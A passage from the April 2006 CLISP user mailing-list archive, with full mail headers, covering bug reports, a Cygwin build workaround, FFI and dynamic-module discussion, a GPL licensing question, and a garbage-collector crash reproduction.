sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FRDY5-0007gn-Vg for clisp-list@lists.sourceforge.net; Wed, 05 Apr 2006 12:20:13 -0700 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FRDY3-0004YN-EI for clisp-list@lists.sourceforge.net; Wed, 05 Apr 2006 12:20:13 -0700 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Wed, 5 Apr 2006 21:20:00 +0200 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id <2FZKX5YV>; Wed, 5 Apr 2006 21:20:00 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: Lisp-Hacker@Jovi.Net, daly@axiom-developer.org Subject: Re: [clisp-list] confusing error message MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Apr 5 12:21:04 2006 X-Original-Date: Wed, 5 Apr 2006 21:19:55 +0200 Hi, Thanks for reporting a bug. Obviously, something broke the formatting (or possibly column number information, or the pretty printer, or who knows), at least in some configurations: clisp-2.28 on MS-Windows nicely reports: [1]> (format t "foo~q~a~s" 1 2 3) *** - Non-existent directive Current point in control string: foo~q~a~s | while 2.38 is broken inside Emacs in MS-Windows (MS-VC build): [33]> (format t "foo~q~a~s" 1 2 3) *** - Non-existent format directive Current point in control string: foo~q~a~s | same on Linux within a terminal window, but 2.38 works inside SLIME on Linux: Non-existent format directive Current point in control string: foo~q~a~s | Surprising!?! Regards, Jorg Hohle. From VAUCHER@fermat.eu Fri Apr 07 02:27:51 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FRnFv-0001kc-L1 for clisp-list@lists.sourceforge.net; Fri, 07 Apr 2006 02:27:51 -0700 Received: from mail01.net-streams.fr ([62.23.133.110] helo=net-streams.fr) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FRnFu-0001CV-5v for clisp-list@lists.sourceforge.net; Fri, 07 Apr 2006 02:27:51 -0700 Received: from 037f27dd816a40c [172.16.3.100] by net-streams.fr (SMTPD-8.21) id A08807F0; Fri, 07 Apr 2006 11:27:36 +0200 X-MimeOLE: Produced By Microsoft Exchange V6.5 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Message-ID: <55DDB08CC9CD2941A70E8D626789A2C9013BCBA7@ec8l7ljvo9h5dde.hosting.exch> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: License considerations Thread-Index: AcZaJhcKz58bUKsxRL+5fkeJ0r0GyA== From: "VAUCHER Laurent" To: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] License considerations Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Apr 7 02:28:03 2006 X-Original-Date: Fri, 7 Apr 2006 11:31:46 +0200 Hi. Just wondering: I write an application in Common-Lisp and I want to sell it. Does the GPL allow me to distribute CLISP runtime with the specific purpose of running my app or am I forced to use the GPL for my work too ? By the way, what's the license of the bytecote specification? Can I write a commercial VM for the CLISP bytecode? Laurent. From njsand@internode.on.net Sat Apr 08 19:38:37 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FSPoz-0006xg-EW for clisp-list@lists.sourceforge.net; Sat, 08 Apr 2006 19:38:37 -0700 Received: from ash25e.internode.on.net ([203.16.214.182]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FSPox-0000Jc-SD for clisp-list@lists.sourceforge.net; Sat, 08 Apr 2006 19:38:37 -0700 Received: from [192.168.4.100] (ppp157-114.static.internode.on.net [150.101.157.114]) by ash25e.internode.on.net (8.13.6/8.13.5) with ESMTP id k392cVIs093055 for ; Sun, 9 Apr 2006 12:08:32 +0930 (CST) (envelope-from njsand@internode.on.net) Message-ID: <443874CE.7040107@internode.on.net> From: Nicholas Sandow User-Agent: Thunderbird 1.5 (Windows/20051201) MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] building 2.38 on cygwin with mingw References: <442F3295.6070809@internode.on.net> In-Reply-To: <442F3295.6070809@internode.on.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Apr 8 19:39:02 2006 X-Original-Date: Sun, 09 Apr 2006 12:43:26 +1000 Nicholas Sandow wrote: > Hello, > > I am trying to build a native windows version of clisp 2.38 with cygwin. > > After installing libsigsegv and extracting clisp-2.38.tar.bz2, I run the > following: > > ./configure --with-mingw > --with-libsigsegv-prefix=/home/njsand/libsigsegv --build mingw 2>&1 | > tee build.log > > When make enters the i18n directory, I get the following error: > configure: * I18N (Done) > CLISP="`pwd`/lisp.exe -M `pwd`/lispinit.mem -B `pwd` -Efile UTF-8 > -Eterminal UTF-8 -Emisc 1:1 -norc" ; cd i18n ; dots=`echo i18n/ | sed -e > 's,[^/][^/]*//*,../,g' -e 's,/$,,g'` ; make clisp-module CC="gcc > -mno-cygwin" CPPFLAGS="-I/home/njsand/libsigsegv/include" CFLAGS="-W > -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type > -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations > -D_WIN32 -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -I." INCLUDES="$dots" > CLFLAGS="-x none" LIBS="libcharset.a libavcall.a libcallback.a > -lncurses -luser32 -lws2_32 -lole32 -loleaut32 -luuid > -L/home/njsand/libsigsegv/lib -lsigsegv" RANLIB="ranlib" CLISP="$CLISP -q" > make[1]: Entering directory `/home/njsand/clisp-2.38/mingw/i18n' > /home/njsand/clisp-2.38/mingw/lisp.exe -M > /home/njsand/clisp-2.38/mingw/lispinit.mem -B > /home/njsand/clisp-2.38/mingw -Efile UTF-8 -Eterminal UTF-8 -Emisc 1:1 > -norc -q -c i18n.lisp > make[1]: *** [i18n.fas] Error 1 > make[1]: Leaving directory `/home/njsand/clisp-2.38/mingw/i18n' > make: *** [i18n] Error 2 > > The problem seems to be a cygwin/windows path format issue. If I run > the failed step with windows format paths, (as below), there is no problem. > > $ /home/njsand/clisp-2.38/mingw/lisp.exe -M > c:/cygwin/home/njsand/clisp-2.38/mingw/lispinit.mem -B > c:/cygwin/home/njsand/clisp-2.38/mingw -Efile UTF-8 > -Eterminal UTF-8 -Emisc 1:1 -norc -q -c i18n.lisp > ;; Compiling file C:\cygwin\home\njsand\clisp-2.38\mingw\i18n\i18n.lisp ... > ;; Wrote file C:\cygwin\home\njsand\clisp-2.38\mingw\i18n\i18n.fas > 0 errors, 0 warnings > > The full log of my build after the ./configure command is at > http://users.on.net/~njsand/build.log > > Am I doing something wrong, or is this a problem with clisp, or even my > cygwin? I worked around the above problem by extracting the source in c:/clisp-2.38, and making a symlink /clisp-2.38 pointing to /cygdrive/c/clisp-2.38. Then, when doing `cd /clisp-2.38', pwd would report my directory as /clisp-2.38. This made the paths passed to 'lisp.exe -M' understandable by lisp.exe. This is most likely a hacky way of fixing the problem without discovering the underlying cause, but the build worked. > > Thanks, > Nick > > > ------------------------------------------------------- > This SF.Net email is sponsored by xPML, a groundbreaking scripting language > that extends applications into web and mobile media. Attend the live > webcast > and join the prime developer group breaking into this new coding territory! > http://sel.as-us.falkag.net/sel?cmd=lnk&kid=110944&bid=241720&dat=121642 > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list > From nswart@zoominternet.net Mon Apr 10 18:35:14 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FT7mi-00079J-0C for clisp-list@lists.sourceforge.net; Mon, 10 Apr 2006 18:35:12 -0700 Received: from mx-7.zoominternet.net ([24.154.1.26]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FT7mf-00063X-Mo for clisp-list@lists.sourceforge.net; Mon, 10 Apr 2006 18:35:12 -0700 Received: from mua-2.zoominternet.net (mua-2.zoominternet.net [24.154.1.45]) by mx-7.zoominternet.net (8.12.11/8.12.11) with ESMTP id k3B1YiWd008107 for ; Mon, 10 Apr 2006 21:34:44 -0400 Received: from [192.168.0.8] (dynamic-acs-24-154-248-251.zoominternet.net [24.154.248.251]) by mua-2.zoominternet.net (Postfix) with ESMTP id 5B6967F404 for ; Mon, 10 Apr 2006 21:34:44 -0400 (EDT) Message-ID: <443B07B4.4030803@zoominternet.net> From: Nico User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.3) Gecko/20041121 X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.00 () [Tag at 15.00] X-CanItPRO-Stream: outgoing X-Scanned-By: CanIt (www . roaringpenguin . com) on 24.154.1.26 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Post 2.33 CLISP behaviour and FFI Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Apr 12 00:50:01 2006 X-Original-Date: Mon, 10 Apr 2006 21:34:44 -0400 I posted before on this list on the same subject. However, I investigated some more after that. The previous code excerpt used macros. I converted those macro expansions to functions (code excerp below). Specifically, note the function load-seq. The function initializes the foreign variable, sequencetab, from a file. This 'works' with clisp 2.33. If I say work I mean that if I type 'sequencetab' at the REPL after calling load-seq, the expected value for sequencetab is printed. For any version after 2.33 (I tried 2.38), the sequencetab structure is still uninitialized after the call to load-seq. If one type (symbol-value 'sequencetab) at the REPL, the expected value shows up. It is not needed for clisp 2.33. It seems that there is a difference in the 'set' form. Any suggestions to clear up my misunderstanding or pointers for debugging and introspection will be appreciated (use-package :FFI) (default-foreign-language :stdc) (def-c-struct stform (dir uint8) (jauto uint8) (start uint8) (stop uint8) (maxspd sint16) (meth (c-array uint8 2)) (sname (c-array uint8 14)) (refstep (c-array uint8 2)) (refside (c-array uint8 2)) (valu (c-array sint16 2)) (mtpos sint16)) (def-c-var sequencetab (:name "sequencetab") (:library "jacs.dll") (:type (c-array stform 32)) (:read-only nil)) (defun load-seq (filename) (with-open-file (stream filename :direction :input :if-does-not-exist :error) (dolist (var '(sequencetab)) (set var (read stream))))) (load-seq "Mandseq-file") From zellerin@gmail.com Thu Apr 13 06:06:24 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FU1WY-0007Ez-D3 for clisp-list@lists.sourceforge.net; Thu, 13 Apr 2006 06:06:14 -0700 Received: from pproxy.gmail.com ([64.233.166.180]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FU1WY-0000GW-5s for clisp-list@lists.sourceforge.net; Thu, 13 Apr 2006 06:06:14 -0700 Received: by pproxy.gmail.com with SMTP id i49so1956310pye for ; Thu, 13 Apr 2006 06:06:13 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition; b=Mnv3MSNTnpZ2V3JU0g8rj3rr0pqOz5Hxz26C7AF7GDRaYSWNrFo8engWCkQESM0Grtpx+vcM5PTGHUAVstrao7p3j6CimEDVHnmkiANmttq28CU8blkcAxmOChZ7QO6ZGp1441jaTqb/RdBQ3A/WZ1lcqewy9vDTtCZELntATbw= Received: by 10.35.77.18 with SMTP id e18mr228441pyl; Thu, 13 Apr 2006 06:06:06 -0700 (PDT) Received: by 10.35.35.1 with HTTP; Thu, 13 Apr 2006 06:06:06 -0700 (PDT) Message-ID: From: "Tomas Zellerin" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] Dynamically loaded modules Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Apr 13 06:07:02 2006 X-Original-Date: Thu, 13 Apr 2006 15:06:06 +0200 Hello, what is present status of Dynamic Modules? Anybody uses it? I would quite like to have only one (base) version of clisp that would be able to load needed modules on demand, and the infrastructure is apparently there. The benefits would include much easier distribution of third party modules, less problems when required external library is missing for distributed compiled clisp and posibility do delay decision what to include into full and what no. However: - the Dynamic Modules are off by default, - the command to load the module is not even exported from sys package, - I see no simple way how to make bundled modules dynamic (I tried it for rawsock by hand, so I know it is possible, but I found, e.g., no configure option to achieve that), - while clisp-link run creates pair of .so and .lisp to use for the module, it makes them only temporarily, - I am not aware of any site with modules for clisp other than those already bundled in. :) Is there any deeper reason why this is not used much, or even discouraged? Regards, Tomas Zellerin From Joerg-Cyril.Hoehle@t-systems.com Thu Apr 13 09:21:39 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FU4Zf-0004p0-L2 for clisp-list@lists.sourceforge.net; Thu, 13 Apr 2006 09:21:39 -0700 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FU4Zf-00057b-3m for clisp-list@lists.sourceforge.net; Thu, 13 Apr 2006 09:21:39 -0700 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Thu, 13 Apr 2006 18:21:29 +0200 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id <2YT1X2HP>; Thu, 13 Apr 2006 18:21:29 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: zellerin@gmail.com Subject: Re: [clisp-list] Dynamically loaded modules MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Apr 13 09:22:03 2006 X-Original-Date: Thu, 13 Apr 2006 18:21:20 +0200 Thomas Zellerin asks: >what is present status of Dynamic Modules? Anybody uses it? I would >quite like to have only one (base) version of clisp that would be able >to load needed modules on demand, and the infrastructure is apparently >there. >- the command to load the module is not even exported from sys = package, sys::dynload-modules was/is perceived as a low-level hack to satisfy = individual users's needs. There are a couple of technical problems = with the current solution: A)- if initialization of the loaded module fails, CLISP exists. I.e. = your repl is killed. B)--with-dynamic-modules prevents using a fixed register for the much = used STACK variable. This is said to cost 5% performance. I'm not = sure if a register variable for STACK is currently used, since there = have been bugs in GCC preventing their use in various versions. I've heard that one cannot use register variables when adding shared = objects. However, my personal experience (limited to Linux/x86) has = never revealed a problem. Maybe there are problems with other = architectures or environments. >- I am not aware of any site with modules for clisp other than those >already bundled in. :) Most user modules I know were included in the clisp distribution. Apart from that, that's binary files, so: C) Are you sure you can load a module compiled with clisp-2.3x into = clisp-2.3y, or mix/match -DLARGE_FIXNUM with -DNO_UNICODE? Building a = repository of modules thus requires lots of files. Probably wasted = effort. Or the distribution is limited to saying "that module works with = clisp-2.3x as downloaded from Sourceforge". Isn't that so limited that it kills any wishes for distributing = modules? So IMHO, modules more looks like a build/configure options. Much like = some Debian packages provide some configuration choices during = installation. But after that, the binary is mostly fixed. Actually, that's an idea for the Debian clisp package: maybe that would = avoid the dependency on the X libraries (required because of the clx = modules)? Your wishful scenario is like this: start CLISP. Say "oh, I want to use = postgresql". Load the module. "Oh, I want to connect to a server via = FastCGI". Load/require the module. It seems very doable, like you say, = and you're welcome to help make this happen. I believe the biggest problem is A) Regards, J=F6rg H=F6hle. From zellerin@gmail.com Fri Apr 14 00:20:30 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FUIbW-0003lm-71 for clisp-list@lists.sourceforge.net; Fri, 14 Apr 2006 00:20:30 -0700 Received: from pproxy.gmail.com ([64.233.166.179]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FUIbU-0006bH-Qz for clisp-list@lists.sourceforge.net; Fri, 14 Apr 2006 00:20:30 -0700 Received: by pproxy.gmail.com with SMTP id i49so25231pye for ; Fri, 14 Apr 2006 00:20:27 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=dmXVicbl13lbI5cIUPtY96kLby/uVhfTnRvM4oYmMOjTdV/VnsanDFvaEHtqNzhPsFZNZhANGCcDzouQ0uA3U3jn1nW9A9SSR4mVz/kc5CSaFMrfpOoU3neh/4maMD5NsgeT/oUXB5FnPQv0LrQ3na+TYVjnqmeeSsxhvej3Fd4= Received: by 10.35.84.16 with SMTP id m16mr2127216pyl; Fri, 14 Apr 2006 00:20:27 -0700 (PDT) Received: by 10.35.35.1 with HTTP; Fri, 14 Apr 2006 00:20:27 -0700 (PDT) Message-ID: From: "Tomas Zellerin" To: "Hoehle, Joerg-Cyril" Subject: Re: [clisp-list] Dynamically loaded modules Cc: clisp-list@lists.sourceforge.net In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Apr 14 00:21:01 2006 X-Original-Date: Fri, 14 Apr 2006 09:20:27 +0200 > >- the command to load the module is not even exported from sys package, > sys::dynload-modules was/is perceived as a low-level hack to satisfy indi= vidual users's needs. There are a couple of technical problems with the cu= rrent solution: > > A)- if initialization of the loaded module fails, CLISP exists. I.e. you= r repl is killed. This should not be of much issue for debugged modules, should it? > B)--with-dynamic-modules prevents using a fixed register for the much use= d STACK variable. This is said to cost 5% performance. I'm not sure if a = register variable for STACK is currently used, since there have been bugs i= n GCC preventing their use in various versions. Thats good to know and keep in mind, thanks. > >- I am not aware of any site with modules for clisp other than those > >already bundled in. :) > Most user modules I know were included in the clisp distribution. > Apart from that, that's binary files, so: Why necessarily? Source files can (and probably must - GPL) be distributed to be compiled against clisp on target machine. Think about PHP, Apache or even kernel modules (e.g., mod_lisp, not to stay far from lisp) > C) Are you sure you can load a module compiled with clisp-2.3x into clisp= -2.3y, or mix/match -DLARGE_FIXNUM with -DNO_UNICODE? Building a repositor= y of modules thus requires lots of files. Probably wasted effort. No. Actually, I wanted to ask that, too :) > Or the distribution is limited to saying "that module works with clisp-2.= 3x as downloaded from Sourceforge". > > Isn't that so limited that it kills any wishes for distributing modules? > > So IMHO, modules more looks like a build/configure options. Much like so= me Debian packages provide some configuration choices during installation. = But after that, the binary is mostly fixed. As above - source can be distributed, and it was done for other languages/systems. But yes, packagers for various platforms seems to be likely target. > Actually, that's an idea for the Debian clisp package: maybe that would a= void the dependency on the X libraries (required because of the clx modules= )? Yes, X libraries are prime example of dependencies that can be nasty, as well as that to database backends. However, as soon as one (as packager) does it, he charges the B) penalty for everyone. It probably goes down to user preferences - but I dont think that many people use clisp as CL implementation for its speed (thinking about it, three prime reasons why I prefer it are its relatively small size, readline repl, and that it works on all platforms I use - and this could help the size a bit). > > Your wishful scenario is like this: start CLISP. Say "oh, I want to use p= ostgresql". Load the module. "Oh, I want to connect to a server via FastCGI= ". Load/require the module. It seems very doable, like you say, and you're = welcome to help make this happen. Exactly what I meant. Ill do few more experiments. > I believe the biggest problem is A) I dont think so, for tested modules. And even if you had to load all the modules at clisp startup time based on some configuration file (that would make testing much easier, and AFAIK php and Apache do/did it so), it would be a great step forward from now, where you have to decide what to include into full package, or make separate images for every desired *combination* of modules. Thanks for your comments, Tomas Zellerin From lisp-clisp-list@m.gmane.org Fri Apr 14 22:56:06 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FUdlK-0002Np-7t for clisp-list@lists.sourceforge.net; Fri, 14 Apr 2006 22:56:02 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1FUdlI-0006Mu-QJ for clisp-list@lists.sourceforge.net; Fri, 14 Apr 2006 22:56:02 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1FUdlC-0004HT-2C for clisp-list@lists.sourceforge.net; Sat, 15 Apr 2006 07:55:54 +0200 Received: from 84.90.17.8 ([84.90.17.8]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sat, 15 Apr 2006 07:55:54 +0200 Received: from luismbo by 84.90.17.8 with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sat, 15 Apr 2006 07:55:54 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Luis Oliveira Lines: 40 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 84.90.17.8 User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (darwin) Cancel-Lock: sha1:DLhLOGq20qwyfDvAHKlBEuomZHE= X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 1.5 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO Subject: [clisp-list] Crashing CLISP with finalizers + weak hashtables Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Apr 14 22:57:01 2006 X-Original-Date: Sat, 15 Apr 2006 06:55:59 +0100 Hello, While doing some stuff with finalizers and weak hashtables I started to experience some CLISP segfaults. Here's a small test case: luis@nhop:~$ clisp -q ;; Loading file /home/luis/.clisprc ... ;; Loaded file /home/luis/.clisprc [1]> (lisp-implementation-version) "2.38 (2006-01-24) (built 3351437825) (memory 3354064396)" [2]> (defvar *wh* (make-hash-table :test 'eq :weak :key)) *WH* [3]> (let ((obj (copy-seq "xpto"))) (setf (gethash obj *wh*) (list 1 2 3)) (finalize obj (lambda (o) (write-line "garbage!")))) NIL [4]> (gc) *** - handle_fault error2 ! address = 0xe000003e not in [0x67ffa2d0,0x680a5000) ! SIGSEGV cannot be cured. Fault address = 0xe000003e. Permanently allocated: 104032 bytes. Currently in use: 2747808 bytes. Free space: 620832 bytes. Segmentation fault If I place a different value in the weak hashtable that has other references or is otherwise not garbage collectable, CLISP doesn't crash. At least that's the pattern I see. Also, CLISP won't crash if I don't add a finalizer to OBJ. HTH -- Luis Oliveira luismbo (@) gmail (.) com Equipa Portuguesa do Translation Project http://www.iro.umontreal.ca/translation/registry.cgi?team=pt From don-sourceforge-xx@isis.cs3-inc.com Fri Apr 14 23:15:44 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FUe4L-0004Lc-J1 for clisp-list@lists.sourceforge.net; Fri, 14 Apr 2006 23:15:41 -0700 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FUe4K-0001qh-Bv for clisp-list@lists.sourceforge.net; Fri, 14 Apr 2006 23:15:41 -0700 Received: by isis.cs3-inc.com (Postfix, from userid 501) id 11EF61A818F; Fri, 14 Apr 2006 23:15:48 -0700 (PDT) From: don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17472.36755.862782.144072@isis.cs3-inc.com> To: clisp-list@lists.sourceforge.net X-Mailer: VM 7.07 under 21.4 (patch 8) "Honest Recruiter" XEmacs Lucid X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] EXT:WITH-KEYBOARD, EXT:*KEYBOARD-INPUT* missing from 2.38 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Apr 14 23:16:06 2006 X-Original-Date: Fri, 14 Apr 2006 23:15:47 -0700 These seem not to work in 2.38 downloaded from http://sourceforge.net/project/showfiles.php?group_id=1355 e.g., clisp-2.38-x86_64-unknown-linux-gnu-2.6.9.tar.gz I notice that they do seem to work in clisp.i386 2.38-1.fc4 Also in at least one version I have built from cvs ~Mar 1. Searching the mailing list archives for KEYBOARD shows me nothing since 2.38. I do notice that working with-keyboard seems to correlate with #+screen. Is that coincidence? Can it be made to work even when #-screen? From lisp-clisp-list@m.gmane.org Mon Apr 17 10:00:37 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FVX5X-0000Aq-8N for clisp-list@lists.sourceforge.net; Mon, 17 Apr 2006 10:00:35 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1FVX5W-0008VP-El for clisp-list@lists.sourceforge.net; Mon, 17 Apr 2006 10:00:35 -0700 Received: from root by ciao.gmane.org with local (Exim 4.43) id 1FVX50-0000F2-1p for clisp-list@lists.sourceforge.net; Mon, 17 Apr 2006 19:00:03 +0200 Received: from 